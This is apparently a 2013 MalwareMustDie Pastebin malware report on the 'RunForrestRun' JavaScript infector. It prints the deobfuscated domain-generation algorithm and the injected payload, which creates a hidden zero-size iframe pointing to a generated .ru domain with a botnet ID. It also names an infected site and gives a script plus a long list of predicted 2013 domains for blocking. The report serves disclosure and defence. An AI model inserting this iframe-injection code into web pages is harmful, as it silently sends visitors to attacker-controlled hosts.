SHARE
TWEET

#MalwareMustDie - Infection PseudoDmn/DGA 2013 Jan 6th-8th

MalwareMustDie Jan 7th, 2013 319 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. =========================================================
  2. #MalwareMustDie - New Malware Infector "RunForrestRun"
  3. w/Pseudorandom/DGA Generator logic was reported by MMD Crusader at:
  4. https://twitter.com/it4sec/status/287912320938700802 (Thx to @it4sec)
  5. Data Source http://pastebin.com/raw.php?i=v5mG0N7f
  6.  
  7. PLEASE HELP TO BLOCK ALL OF THE LIST OF DOMAINS .RU MENTIONED
  8. IN THIS REPORT, THANK YOU.
  9. =========================================================
  10.  
  11. // Source of infection:
  12. www.jasonslog[.]com
  13.  
  14.  
  15. // Be free to check the source of infection directly,
  16. // De-0bfuscated code logic of Pseudorandom/DGA is:
  17.  
  18. function nextRandomNumber(){
  19.   var hi = this .seed / this .Q;
  20.   var lo = this .seed % this .Q;
  21.   var test = this .A * lo - this .R * hi;
  22.   if (test > 0){
  23.     this .seed = test;
  24.   }
  25.   else {
  26.     this .seed = test + this .M;
  27.   }
  28.   return (this .seed * this .oneOverM);
  29. }
  30. function RandomNumberGenerator(unix){
  31.   var d = new Date(unix * 1000);
  32.   var s = d.getHours() > 12 ? 1 : 0;
  33.   this .seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.
  34.   round(s * 0xFFF));
  35.   this .A = 48271;
  36.   this .M = 2147483647;
  37.   this .Q = this .M / this .A;
  38.   this .R = this .M % this .A;
  39.   this .oneOverM = 1.0 / this .M;
  40.   this .next = nextRandomNumber;
  41.   return this ;
  42. }
  43. function createRandomNumber(r, Min, Max){
  44.   return Math.round((Max - Min) * r.next() + Min);
  45. }
  46. function generatePseudoRandomString(unix, length, zone){
  47.   var rand = new RandomNumberGenerator(unix);
  48.   var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o'
  49.   , 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
  50.   var str = '';
  51.   for (var i = 0; i < length; i ++ ){
  52.     str += letters[createRandomNumber(rand, 0, letters.length - 1)];
  53.   }
  54.   return str + '.' + zone;
  55. }
  56.  
  57.  
  58. setTimeout(function (){
  59.   try {
  60.     if (typeof iframeWasCreated == "undefined"){
  61.       iframeWasCreated = true;
  62.       var unix = Math.round( + new Date() / 1000);
  63.       var domainName = generatePseudoRandomString(unix, 16, 'ru');
  64.       ifrm = document.createElement("IFRAME");
  65.       ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet2");
  66.       ifrm.style.width = "0px";
  67.       ifrm.style.height = "0px";
  68.       ifrm.style.visibility = "hidden";
  69.       document.body.appendChild(ifrm);
  70.     }
  71.   }
  72.   catch (e){
  73.   }
  74. }
  75. , 500);
  76.  
  77. ==============================================
  78.  
  79. The guide to decode & check
  80. PseudoRandom/DGA Manually
  81.  
  82. ==============================================
  83.  
  84. // manual crack...
  85. // erase the setTimeout(function () all of it, we don't need those mess..
  86. // and replace with the below code...
  87. // (make sure you include the rest of the functions..)
  88. // The code :
  89.  
  90. var nextday = new Date();
  91. nextday.setFullYear(2013);
  92. for (var yyy=0;yyy<13;yyy++)
  93.   { nextday.setMonth(yyy);
  94. for (var xxx= 1;xxx<33;xxx++)
  95.      {    
  96.       var unix = Math.round(nextday.setDate(xxx)/1000);
  97.       var domainName = generatePseudoRandomString(unix, 16, 'ru');
  98.       document.write(xxx+" | "+domainName+ "  |  "+nextday+"\n"); }}
  99.  
  100.  
  101. // Just run it and you'll get the full 2013 years domains as per
  102. // result:....
  103.  
  104.  1 | ndvgpxdugiihprox.ru  |  Tue Jan 01 2013 23:14:46 GMT+0900
  105.  2 | yowoyitslewxwwrl.ru  |  Wed Jan 02 2013 23:14:46 GMT+0900
  106.  3 | lcbfcpzjpyvoheuj.ru  |  Thu Jan 03 2013 23:14:46 GMT+0900
  107.  4 | xocnrffrwjwryily.ru  |  Fri Jan 04 2013 23:14:46 GMT+0900
  108.  5 | kcgbtgkouhxwzqce.ru  |  Sat Jan 05 2013 23:14:46 GMT+0900
  109.  6 | wnhjjplenuudhoap.ru  |  Sun Jan 06 2013 23:14:46 GMT+0900
  110.  7 | jbkxeiekxelpidpi.ru  |  Mon Jan 07 2013 23:14:46 GMT+0900
  111.  8 | unlgvgkytqsxgyeg.ru  |  Tue Jan 08 2013 23:14:46 GMT+0900
  112.  9 | hbpuvpfmvvkeindg.ru  |  Wed Jan 09 2013 23:14:46 GMT+0900
  113. 10 | tmqdnqhvpxyjeulp.ru  |  Thu Jan 10 2013 23:14:46 GMT+0900
  114. 11 | gatrxzmokglyvnqh.ru  |  Fri Jan 11 2013 23:14:46 GMT+0900
  115. 12 | smvydqivtigcadxb.ru  |  Sat Jan 12 2013 23:14:46 GMT+0900
  116. 13 | eaynpxerysnuockf.ru  |  Sun Jan 13 2013 23:14:46 GMT+0900
  117. 14 | qlaxqqoumynwpggc.ru  |  Mon Jan 14 2013 23:14:46 GMT+0900
  118. 15 | dzclmaypqcfzimrl.ru  |  Tue Jan 15 2013 23:14:46 GMT+0900
  119. 16 | plfuihelmdrrbbnc.ru  |  Wed Jan 16 2013 23:14:46 GMT+0900
  120. 17 | cygiwjakdyxlnvqv.ru  |  Thu Jan 17 2013 23:14:46 GMT+0900
  121. 18 | okjqzgzouwqonvup.ru  |  Fri Jan 18 2013 23:14:46 GMT+0900
  122. 19 | aylfqvekcpgkthkx.ru  |  Sat Jan 19 2013 23:14:46 GMT+0900
  123. 20 | mkonvslrwtualefq.ru  |  Sun Jan 20 2013 23:14:46 GMT+0900
  124. 21 | yvpvcmdbbglmhfyq.ru  |  Mon Jan 21 2013 23:14:46 GMT+0900
  125. 22 | lktkntxkekjhgwwv.ru  |  Tue Jan 22 2013 23:14:46 GMT+0900
  126. 23 | xvurtbyguyxavlcn.ru  |  Wed Jan 23 2013 23:14:46 GMT+0900
  127. 24 | kjxgftehmxneoqss.ru  |  Thu Jan 24 2013 23:14:46 GMT+0900
  128. 25 | vuyognsdxgigvymx.ru  |  Fri Jan 25 2013 23:14:46 GMT+0900
  129. 26 | ijdfiaskbhcdzbet.ru  |  Sat Jan 26 2013 23:14:46 GMT+0900
  130. 27 | uuenxhtegxrlrlyb.ru  |  Sun Jan 27 2013 23:14:46 GMT+0900
  131. 28 | hiibkbbmztddabuy.ru  |  Mon Jan 28 2013 23:14:46 GMT+0900
  132. 29 | tujjpspbhdwymxyj.ru  |  Tue Jan 29 2013 23:14:46 GMT+0900
  133. 30 | gimxkbdryudghncv.ru  |  Wed Jan 30 2013 23:14:46 GMT+0900
  134. 31 | rtngckpiugfrlepg.ru  |  Thu Jan 31 2013 23:14:46 GMT+0900
  135. 32 | pyfvmdoslhtmvswd.ru  |  Fri Feb 01 2013 23:14:46 GMT+0900
  136.  1 | pyfvmdoslhtmvswd.ru  |  Fri Feb 01 2013 23:14:46 GMT+0900
  137.  2 | cmijgbxvxstkgtpc.ru  |  Sat Feb 02 2013 23:14:46 GMT+0900
  138.  3 | oyjreoljhwsvefpf.ru  |  Sun Feb 03 2013 23:14:46 GMT+0900
  139.  4 | bmngykbjolpwcrqm.ru  |  Mon Feb 04 2013 23:14:46 GMT+0900
  140.  5 | nxooqekbpedsmawo.ru  |  Tue Feb 05 2013 23:14:46 GMT+0900
  141.  6 | zkrwmmqgrdtowhio.ru  |  Wed Feb 06 2013 23:14:46 GMT+0900
  142.  7 | lxtlipbjujyfgbsi.ru  |  Thu Feb 07 2013 23:14:46 GMT+0900
  143.  8 | xjwtedhbosmxzukq.ru  |  Fri Feb 08 2013 23:14:46 GMT+0900
  144.  9 | kwxhkjhmyljgpaht.ru  |  Sat Feb 09 2013 23:14:46 GMT+0900
  145. 10 | wjbsqskiqjerkedk.ru  |  Sun Feb 10 2013 23:14:46 GMT+0900
  146. 11 | jwdgmvtytmdvomcx.ru  |  Mon Feb 11 2013 23:14:46 GMT+0900
  147. 12 | vigoiezowqupgdro.ru  |  Tue Feb 12 2013 23:14:46 GMT+0900
  148. 13 | hwhdoqbqjeohptnt.ru  |  Wed Feb 13 2013 23:14:46 GMT+0900
  149. 14 | tiklaegfpvkacpbp.ru  |  Thu Feb 14 2013 23:14:46 GMT+0900
  150. 15 | gvmyehmorxglkbwf.ru  |  Fri Feb 15 2013 23:14:46 GMT+0900
  151. 16 | shpimfzigcjpuwut.ru  |  Sat Feb 16 2013 23:14:46 GMT+0900
  152. 17 | fvrvghqnxmloqwlf.ru  |  Sun Feb 17 2013 23:14:46 GMT+0900
  153. 18 | rhueegmuvsvtxmhr.ru  |  Mon Feb 18 2013 23:14:46 GMT+0900
  154. 19 | duvriiiwjkojcvxy.ru  |  Tue Feb 19 2013 23:14:46 GMT+0900
  155. 20 | pgybverlbdkievuq.ru  |  Wed Feb 20 2013 23:14:46 GMT+0900
  156. 21 | cubqsdiosaatrumu.ru  |  Thu Feb 21 2013 23:14:46 GMT+0900
  157. 22 | ogeymkfreoucnkow.ru  |  Fri Feb 22 2013 23:14:46 GMT+0900
  158. 23 | btgnujocpdtvootd.ru  |  Sat Feb 23 2013 23:14:46 GMT+0900
  159. 24 | mgjvimybyhptmvyu.ru  |  Sun Feb 24 2013 23:14:46 GMT+0900
  160. 25 | yrkekvwkyphwfqde.ru  |  Mon Feb 25 2013 23:14:46 GMT+0900
  161. 26 | lfnsbfrekyjkihrs.ru  |  Tue Feb 26 2013 23:14:46 GMT+0900
  162. 27 | xqobchfrpmohjhoq.ru  |  Wed Feb 27 2013 23:14:46 GMT+0900
  163. 28 | kfsocxsybqazobiu.ru  |  Thu Feb 28 2013 23:14:46 GMT+0900
  164. 29 | svpjqbaclxdndjtm.ru  |  Fri Mar 01 2013 23:14:46 GMT+0900
  165. 30 | lbibpyapcfipsiaz.ru  |  Sat Mar 30 2013 23:14:46 GMT+0900
  166. 31 | xmjjpsraonwwzcdt.ru  |  Sun Mar 31 2013 23:14:46 GMT+0900
  167. 32 | vraxfhteqhofhyhv.ru  |  Mon Apr 01 2013 23:14:46 GMT+0900
  168.  1 | svpjqbaclxdndjtm.ru  |  Fri Mar 01 2013 23:14:46 GMT+0900
  169.  2 | fjswhrwpudtikgfc.ru  |  Sat Mar 02 2013 23:14:46 GMT+0900
  170.  3 | ruufjlwxbqopskfv.ru  |  Sun Mar 03 2013 23:14:46 GMT+0900
  171.  4 | eixtirbwzdgffsua.ru  |  Mon Mar 04 2013 23:14:46 GMT+0900
  172.  5 | quycbctjycfxjvan.ru  |  Tue Mar 05 2013 23:14:46 GMT+0900
  173.  6 | didrlygicxydgncq.ru  |  Wed Mar 06 2013 23:14:46 GMT+0900
  174.  7 | oteanshtirscfyxl.ru  |  Thu Mar 07 2013 23:14:46 GMT+0900
  175.  8 | bihoekmllavemdtr.ru  |  Fri Mar 08 2013 23:14:46 GMT+0900
  176.  9 | ntiwdcaviwewvsoi.ru  |  Sat Mar 09 2013 23:14:46 GMT+0900
  177. 10 | zflfbyeelidlrxri.ru  |  Sun Mar 10 2013 23:14:46 GMT+0900
  178. 11 | msntureyhhtvljon.ru  |  Mon Mar 11 2013 23:14:46 GMT+0900
  179. 12 | xfqcmyxarlkovmxx.ru  |  Tue Mar 12 2013 23:14:46 GMT+0900
  180. 13 | ksspwrcadqjruaef.ru  |  Wed Mar 13 2013 23:14:46 GMT+0900
  181. 14 | wevydrkvywxqfsul.ru  |  Thu Mar 14 2013 23:14:46 GMT+0900
  182. 15 | jswmystbgbmyrhxb.ru  |  Fri Mar 15 2013 23:14:46 GMT+0900
  183. 16 | veawuvjuknycdovj.ru  |  Sat Mar 16 2013 23:14:46 GMT+0900
  184. 17 | irclcuylmvqrrkdx.ru  |  Sun Mar 17 2013 23:14:46 GMT+0900
  185. 18 | tdfthxmndyyekyky.ru  |  Mon Mar 18 2013 23:14:46 GMT+0900
  186. 19 | grhhdbgkxomiymle.ru  |  Tue Mar 19 2013 23:14:46 GMT+0900
  187. 20 | sdkqyhsxbdhcgwgf.ru  |  Wed Mar 20 2013 23:14:46 GMT+0900
  188. 21 | fqlevkdlveprxpzy.ru  |  Thu Mar 21 2013 23:14:46 GMT+0900
  189. 22 | rdomqhodxyumhllv.ru  |  Fri Mar 22 2013 23:14:46 GMT+0900
  190. 23 | eqqawkklmvkbowdi.ru  |  Sat Mar 23 2013 23:14:46 GMT+0900
  191. 24 | pctjjivhotnedeou.ru  |  Sun Mar 24 2013 23:14:46 GMT+0900
  192. 25 | cpuwwkidsdevvuqq.ru  |  Mon Mar 25 2013 23:14:46 GMT+0900
  193. 26 | ocxfurzvsdimgoho.ru  |  Tue Mar 26 2013 23:14:46 GMT+0900
  194. 27 | bpavzrxbeqgcudhg.ru  |  Wed Mar 27 2013 23:14:46 GMT+0900
  195. 28 | nbdenykbuveulccr.ru  |  Thu Mar 28 2013 23:14:46 GMT+0900
  196. 29 | znemwxtbrgiotghm.ru  |  Fri Mar 29 2013 23:14:46 GMT+0900
  197. 30 | lbibpyapcfipsiaz.ru  |  Sat Mar 30 2013 23:14:46 GMT+0900
  198. 31 | xmjjpsraonwwzcdt.ru  |  Sun Mar 31 2013 23:14:46 GMT+0900
  199. 32 | vraxfhteqhofhyhv.ru  |  Mon Apr 01 2013 23:14:46 GMT+0900
  200.  1 | vraxfhteqhofhyhv.ru  |  Mon Apr 01 2013 23:14:46 GMT+0900
  201.  2 | ifemluumiofcbxst.ru  |  Tue Apr 02 2013 23:14:46 GMT+0900
  202.  3 | urfurrcmjfpijghf.ru  |  Wed Apr 03 2013 23:14:46 GMT+0900
  203.  4 | hfijevjwcjlrxwjt.ru  |  Thu Apr 04 2013 23:14:46 GMT+0900
  204.  5 | tqjqjdkykvduufwo.ru  |  Fri Apr 05 2013 23:14:46 GMT+0900
  205.  6 | ffnffvrefkjuvygb.ru  |  Sat Apr 06 2013 23:14:46 GMT+0900
  206.  7 | rqonvntrerlkebke.ru  |  Sun Apr 07 2013 23:14:46 GMT+0900
  207.  8 | eeschobskudmnebe.ru  |  Mon Apr 08 2013 23:14:46 GMT+0900
  208.  9 | qptkhgtytzzduhbd.ru  |  Tue Apr 09 2013 23:14:46 GMT+0900
  209. 10 | dewypbfxfmzqimta.ru  |  Wed Apr 10 2013 23:14:46 GMT+0900
  210. 11 | ppxhzopqbiykuucv.ru  |  Thu Apr 11 2013 23:14:46 GMT+0900
  211. 12 | bdcwjkbjvjsgvbcj.ru  |  Fri Apr 12 2013 23:14:46 GMT+0900
  212. 13 | nodfrfckjbvopqrq.ru  |  Sat Apr 13 2013 23:14:46 GMT+0900
  213. 14 | adgtltgobqfvwoqy.ru  |  Sun Apr 14 2013 23:14:46 GMT+0900
  214. 15 | moickvhdobjascpc.ru  |  Mon Apr 15 2013 23:14:46 GMT+0900
  215. 16 | yalkzsvudybexfgd.ru  |  Tue Apr 16 2013 23:14:46 GMT+0900
  216. 17 | lomxtgmgrswlgrrn.ru  |  Wed Apr 17 2013 23:14:46 GMT+0900
  217. 18 | wznglpyofxculgri.ru  |  Thu Apr 18 2013 23:14:46 GMT+0900
  218. 19 | jnrulvwmhqyqkijc.ru  |  Fri Apr 19 2013 23:14:46 GMT+0900
  219. 20 | vysdxauxtyfezxiw.ru  |  Sat Apr 20 2013 23:14:46 GMT+0900
  220. 21 | invrxhyvhormzpye.ru  |  Sun Apr 21 2013 23:14:46 GMT+0900
  221. 22 | uyxznqjldjndcjon.ru  |  Mon Apr 22 2013 23:14:46 GMT+0900
  222. 23 | gmbpqdcecxdnxzsk.ru  |  Tue Apr 23 2013 23:14:46 GMT+0900
  223. 24 | sycxgmdyuufpiqjs.ru  |  Wed Apr 24 2013 23:14:46 GMT+0900
  224. 25 | fmgmrercxuodsjdk.ru  |  Thu Apr 25 2013 23:14:46 GMT+0900
  225. 26 | rxhuxvaqydtntrps.ru  |  Fri Apr 26 2013 23:14:46 GMT+0900
  226. 27 | elkjuyzgcwbwvkyf.ru  |  Sat Apr 27 2013 23:14:46 GMT+0900
  227. 28 | qxlqkicgvbmxqfme.ru  |  Sun Apr 28 2013 23:14:46 GMT+0900
  228. 29 | clpfeuzumsugolgs.ru  |  Mon Apr 29 2013 23:14:46 GMT+0900
  229. 30 | owqncxwwhipgltpv.ru  |  Tue Apr 30 2013 23:14:46 GMT+0900
  230. 31 | yoklehrcxrhcykqg.ru  |  Wed May 01 2013 23:14:46 GMT+0900
  231. 32 | cmvecwckuongascy.ru  |  Sat Jun 01 2013 23:14:46 GMT+0900
  232.  1 | yoklehrcxrhcykqg.ru  |  Wed May 01 2013 23:14:46 GMT+0900
  233.  2 | lcoztxjirbamyohq.ru  |  Thu May 02 2013 23:14:46 GMT+0900
  234.  3 | xnpivpntljbckedj.ru  |  Fri May 03 2013 23:14:46 GMT+0900
  235.  4 | kbtvvpsoriktoywb.ru  |  Sat May 04 2013 23:14:46 GMT+0900
  236.  5 | wnuengkwenfwxusw.ru  |  Sun May 05 2013 23:14:46 GMT+0900
  237.  6 | ibxsxiwekgbsbylm.ru  |  Mon May 06 2013 23:14:46 GMT+0900
  238.  7 | umybgqamfzktopdj.ru  |  Tue May 07 2013 23:14:46 GMT+0900
  239.  8 | hbdrbmvwqxmptcnf.ru  |  Wed May 08 2013 23:14:46 GMT+0900
  240.  9 | tmezqwypxunkjluo.ru  |  Thu May 09 2013 23:14:46 GMT+0900
  241. 10 | gahnspmmptcmrhpb.ru  |  Fri May 10 2013 23:14:46 GMT+0900
  242. 11 | rljvirwdbdwrfvjg.ru  |  Sat May 11 2013 23:14:46 GMT+0900
  243. 12 | ezkkokibcftwdwkw.ru  |  Sun May 12 2013 23:14:46 GMT+0900
  244. 13 | qlnsuhwpcaviojje.ru  |  Mon May 13 2013 23:14:46 GMT+0900
  245. 14 | dypgqlgskoolefqg.ru  |  Tue May 14 2013 23:14:46 GMT+0900
  246. 15 | plspmidlpvhtqcvs.ru  |  Wed May 15 2013 23:14:46 GMT+0900
  247. 16 | cytdjwetwnemdxtp.ru  |  Thu May 16 2013 23:14:46 GMT+0900
  248. 17 | nkwlesygkrdkutne.ru  |  Fri May 17 2013 23:14:46 GMT+0900
  249. 18 | axyzbcftpfoytsts.ru  |  Sat May 18 2013 23:14:46 GMT+0900
  250. 19 | mkckqyffyzqxjqqv.ru  |  Sun May 19 2013 23:14:46 GMT+0900
  251. 20 | yvdsgibtgzlwulru.ru  |  Mon May 20 2013 23:14:46 GMT+0900
  252. 21 | ljhgiavehojpkcrw.ru  |  Tue May 21 2013 23:14:46 GMT+0900
  253. 22 | xvioyrvnlmgkccqb.ru  |  Wed May 22 2013 23:14:46 GMT+0900
  254. 23 | jjldubftvkeeiktq.ru  |  Thu May 23 2013 23:14:46 GMT+0900
  255. 24 | vumlkkgrzomnmkvy.ru  |  Fri May 24 2013 23:14:46 GMT+0900
  256. 25 | iiqzkkvjenxstqbm.ru  |  Sat May 25 2013 23:14:46 GMT+0900
  257. 26 | uuridusvsuoowpvr.ru  |  Sun May 26 2013 23:14:46 GMT+0900
  258. 27 | hivvmltkopuhfane.ru  |  Mon May 27 2013 23:14:46 GMT+0900
  259. 28 | ttweudkoqwimkfvt.ru  |  Tue May 28 2013 23:14:46 GMT+0900
  260. 29 | fhaufrwkkpugrisz.ru  |  Wed May 29 2013 23:14:46 GMT+0900
  261. 30 | rtbdhbpwgatjfoqp.ru  |  Thu May 30 2013 23:14:46 GMT+0900
  262. 31 | ehfrhcojkjhatimj.ru  |  Fri May 31 2013 23:14:46 GMT+0900
  263. 32 | cmvecwckuongascy.ru  |  Sat Jun 01 2013 23:14:46 GMT+0900
  264.  1 | cmvecwckuongascy.ru  |  Sat Jun 01 2013 23:14:46 GMT+0900
  265.  2 | oxwmjyewrnttdsgv.ru  |  Sun Jun 02 2013 23:14:46 GMT+0900
  266.  3 | bmbdvmorskhflxgg.ru  |  Mon Jun 03 2013 23:14:46 GMT+0900
  267.  4 | nxclvuimdldnwdmx.ru  |  Tue Jun 04 2013 23:14:46 GMT+0900
  268.  5 | yjftqsegsseudior.ru  |  Wed Jun 05 2013 23:14:46 GMT+0900
  269.  6 | lwghdpfowfyulpse.ru  |  Thu Jun 06 2013 23:14:46 GMT+0900
  270.  7 | xjkqjtbkiblgoemz.ru  |  Fri Jun 07 2013 23:14:46 GMT+0900
  271.  8 | kwlefwlcclsjavfk.ru  |  Sat Jun 08 2013 23:14:46 GMT+0900
  272.  9 | wiombejwxrddpkkx.ru  |  Sun Jun 09 2013 23:14:46 GMT+0900
  273. 10 | jwqbrhwarzjrglbn.ru  |  Mon Jun 10 2013 23:14:46 GMT+0900
  274. 11 | uitjsdpvrfgfdhff.ru  |  Tue Jun 11 2013 23:14:46 GMT+0900
  275. 12 | hvuwhwqtoyidfrjg.ru  |  Wed Jun 12 2013 23:14:46 GMT+0900
  276. 13 | thxgfffpsvjdxcal.ru  |  Thu Jun 13 2013 23:14:46 GMT+0900
  277. 14 | gvztjrlasdnlbiei.ru  |  Fri Jun 14 2013 23:14:46 GMT+0900
  278. 15 | shderldqiqdtdcmu.ru  |  Sat Jun 15 2013 23:14:46 GMT+0900
  279. 16 | fufsbovwfzjumtle.ru  |  Sun Jun 16 2013 23:14:46 GMT+0900
  280. 17 | qhibjmjlnpyovmbn.ru  |  Mon Jun 17 2013 23:14:46 GMT+0900
  281. 18 | dujovshpvbxgrikw.ru  |  Tue Jun 18 2013 23:14:46 GMT+0900
  282. 19 | pgmxykzlqomziebp.ru  |  Wed Jun 19 2013 23:14:46 GMT+0900
  283. 20 | ctolfpcqldrvxvml.ru  |  Thu Jun 20 2013 23:14:46 GMT+0900
  284. 21 | ogrtlmpkqtwmweff.ru  |  Fri Jun 21 2013 23:14:46 GMT+0900
  285. 22 | atsihkcljrqlzvku.ru  |  Sat Jun 22 2013 23:14:46 GMT+0900
  286. 23 | mfwqdxgdpwiojrjp.ru  |  Sun Jun 23 2013 23:14:46 GMT+0900
  287. 24 | yrxysfyekjfooere.ru  |  Mon Jun 24 2013 23:14:46 GMT+0900
  288. 25 | lfbovcaitdrjmkbe.ru  |  Tue Jun 25 2013 23:14:46 GMT+0900
  289. 26 | xqcwfwfphwoieuny.ru  |  Wed Jun 26 2013 23:14:46 GMT+0900
  290. 27 | keglxucgvwhqttmi.ru  |  Thu Jun 27 2013 23:14:46 GMT+0900
  291. 28 | vqhtwlshzzqsltcp.ru  |  Fri Jun 28 2013 23:14:46 GMT+0900
  292. 29 | iekiyvsbtyozmmwy.ru  |  Sat Jun 29 2013 23:14:46 GMT+0900
  293. 30 | upmqpwyndzwzmmwy.ru  |  Sun Jun 30 2013 23:14:46 GMT+0900
  294. 31 | fjgtmicxtlxynlpf.ru  |  Mon Jul 01 2013 23:14:46 GMT+0900
  295. 32 | ifrhgnqeeotnzrmz.ru  |  Thu Aug 01 2013 23:14:46 GMT+0900
  296.  1 | fjgtmicxtlxynlpf.ru  |  Mon Jul 01 2013 23:14:46 GMT+0900
  297.  2 | ruhctasjmpqbyvhm.ru  |  Tue Jul 02 2013 23:14:46 GMT+0900
  298.  3 | eilqnjkoytyjuchn.ru  |  Wed Jul 03 2013 23:14:46 GMT+0900
  299.  4 | qtmyeslmsoxkjbku.ru  |  Thu Jul 04 2013 23:14:46 GMT+0900
  300.  5 | ciqmhuwgvfsxdtrw.ru  |  Fri Jul 05 2013 23:14:46 GMT+0900
  301.  6 | otruvbidvikzhlop.ru  |  Sat Jul 06 2013 23:14:46 GMT+0900
  302.  7 | bhujzorkulhkpwob.ru  |  Sun Jul 07 2013 23:14:46 GMT+0900
  303.  8 | ntvrnrdpyoadopbo.ru  |  Mon Jul 08 2013 23:14:46 GMT+0900
  304.  9 | zfyafrjmmajqfvbh.ru  |  Tue Jul 09 2013 23:14:46 GMT+0900
  305. 10 | lsbppxhgckolsnap.ru  |  Wed Jul 10 2013 23:14:46 GMT+0900
  306. 11 | xeeypppxswpquvrf.ru  |  Thu Jul 11 2013 23:14:46 GMT+0900
  307. 12 | ksgmckchdppqeicu.ru  |  Fri Jul 12 2013 23:14:46 GMT+0900
  308. 13 | wejungvnykczyjam.ru  |  Sat Jul 13 2013 23:14:46 GMT+0900
  309. 14 | jrkjelzwleadyxsd.ru  |  Sun Jul 14 2013 23:14:46 GMT+0900
  310. 15 | venrfhmthwpqlqge.ru  |  Mon Jul 15 2013 23:14:46 GMT+0900
  311. 16 | hrpgglxvqwjesffr.ru  |  Tue Jul 16 2013 23:14:46 GMT+0900
  312. 17 | tdsorylshsxjeawf.ru  |  Wed Jul 17 2013 23:14:46 GMT+0900
  313. 18 | gqtcxunxhyujqjkf.ru  |  Thu Jul 18 2013 23:14:46 GMT+0900
  314. 19 | sdxkjaophbtufumx.ru  |  Fri Jul 19 2013 23:14:46 GMT+0900
  315. 20 | fqyyxagzkrpvxtki.ru  |  Sat Jul 20 2013 23:14:46 GMT+0900
  316. 21 | rccjvgsgffokiwze.ru  |  Sun Jul 21 2013 23:14:46 GMT+0900
  317. 22 | dpewaddpoewiycnj.ru  |  Mon Jul 22 2013 23:14:46 GMT+0900
  318. 23 | pchgijctfprxhnje.ru  |  Tue Jul 23 2013 23:14:46 GMT+0900
  319. 24 | cpittmwbqtjrjpql.ru  |  Wed Jul 24 2013 23:14:46 GMT+0900
  320. 25 | oblcasnhxbbocpfj.ru  |  Thu Jul 25 2013 23:14:46 GMT+0900
  321. 26 | bpnqmxkpxxgbdnby.ru  |  Fri Jul 26 2013 23:14:46 GMT+0900
  322. 27 | nbqypqrjiqxlfvdj.ru  |  Sat Jul 27 2013 23:14:46 GMT+0900
  323. 28 | ymrhcvphevonympo.ru  |  Sun Jul 28 2013 23:14:46 GMT+0900
  324. 29 | lavvckpordclbduy.ru  |  Mon Jul 29 2013 23:14:46 GMT+0900
  325. 30 | xmwettbvtbhvrjuo.ru  |  Tue Jul 30 2013 23:14:46 GMT+0900
  326. 31 | kzxrowftdocgyghs.ru  |  Wed Jul 31 2013 23:14:46 GMT+0900
  327. 32 | ifrhgnqeeotnzrmz.ru  |  Thu Aug 01 2013 23:14:46 GMT+0900
  328.  1 | ifrhgnqeeotnzrmz.ru  |  Thu Aug 01 2013 23:14:46 GMT+0900
  329.  2 | uqspvdwyltgcyhft.ru  |  Fri Aug 02 2013 23:14:46 GMT+0900
  330.  3 | hfveiooumeyrpchg.ru  |  Sat Aug 03 2013 23:14:46 GMT+0900
  331.  4 | sqwlonyduvpowdgy.ru  |  Sun Aug 04 2013 23:14:46 GMT+0900
  332.  5 | febcbuyswmishvpl.ru  |  Mon Aug 05 2013 23:14:46 GMT+0900
  333.  6 | rpckbgrziwbdrmhr.ru  |  Tue Aug 06 2013 23:14:46 GMT+0900
  334.  7 | eefysywrvkgxuqdf.ru  |  Wed Aug 07 2013 23:14:46 GMT+0900
  335.  8 | qphhsudsmeftdaht.ru  |  Thu Aug 08 2013 23:14:46 GMT+0900
  336.  9 | ddkudnuklgiwtdyw.ru  |  Fri Aug 09 2013 23:14:46 GMT+0900
  337. 10 | opldkflyvlkywuec.ru  |  Sat Aug 10 2013 23:14:46 GMT+0900
  338. 11 | bdprvpxdejpohqpt.ru  |  Sun Aug 11 2013 23:14:46 GMT+0900
  339. 12 | noqzuukouyfuyrmd.ru  |  Mon Aug 12 2013 23:14:46 GMT+0900
  340. 13 | zatiscwwtipqlycd.ru  |  Tue Aug 13 2013 23:14:46 GMT+0900
  341. 14 | mouwwvcwwlilnxub.ru  |  Wed Aug 14 2013 23:14:46 GMT+0900
  342. 15 | yayfefhrwawquwcw.ru  |  Thu Aug 15 2013 23:14:46 GMT+0900
  343. 16 | knauycqgsdhgbwjo.ru  |  Fri Aug 16 2013 23:14:46 GMT+0900
  344. 17 | wzbdwenwshfzglwt.ru  |  Sat Aug 17 2013 23:14:46 GMT+0900
  345. 18 | jnfrqmekhoevppvw.ru  |  Sun Aug 18 2013 23:14:46 GMT+0900
  346. 19 | vygzhvfiuommkqfj.ru  |  Mon Aug 19 2013 23:14:46 GMT+0900
  347. 20 | imjosxuhbcdonrco.ru  |  Tue Aug 20 2013 23:14:46 GMT+0900
  348. 21 | tykvyflnjhbnqpnr.ru  |  Wed Aug 21 2013 23:14:46 GMT+0900
  349. 22 | gmokuosvnbkshdtd.ru  |  Thu Aug 22 2013 23:14:46 GMT+0900
  350. 23 | sxpskxdgoczvcjgp.ru  |  Fri Aug 23 2013 23:14:46 GMT+0900
  351. 24 | flthmyjeuhdygshf.ru  |  Sat Aug 24 2013 23:14:46 GMT+0900
  352. 25 | rxupwhkznihnxzqx.ru  |  Sun Aug 25 2013 23:14:46 GMT+0900
  353. 26 | elxegvkalqvkyoxc.ru  |  Mon Aug 26 2013 23:14:46 GMT+0900
  354. 27 | pwyloytoagndnrex.ru  |  Tue Aug 27 2013 23:14:46 GMT+0900
  355. 28 | cldcrgtnuwvgnbfd.ru  |  Wed Aug 28 2013 23:14:46 GMT+0900
  356. 29 | owekhoeuhmdiehrw.ru  |  Thu Aug 29 2013 23:14:46 GMT+0900
  357. 30 | bkhyiqitpoxewhmt.ru  |  Fri Aug 30 2013 23:14:46 GMT+0900
  358. 31 | nvjgyermzsmynaeq.ru  |  Sat Aug 31 2013 23:14:46 GMT+0900
  359. 32 | lccwpflcdjrdfjib.ru  |  Sun Sep 01 2013 23:14:46 GMT+0900
  360.  1 | lccwpflcdjrdfjib.ru  |  Sun Sep 01 2013 23:14:46 GMT+0900
  361.  2 | xndfbivuonkxfxrq.ru  |  Mon Sep 02 2013 23:14:46 GMT+0900
  362.  3 | kbgsbqjugdqrgtdw.ru  |  Tue Sep 03 2013 23:14:46 GMT+0900
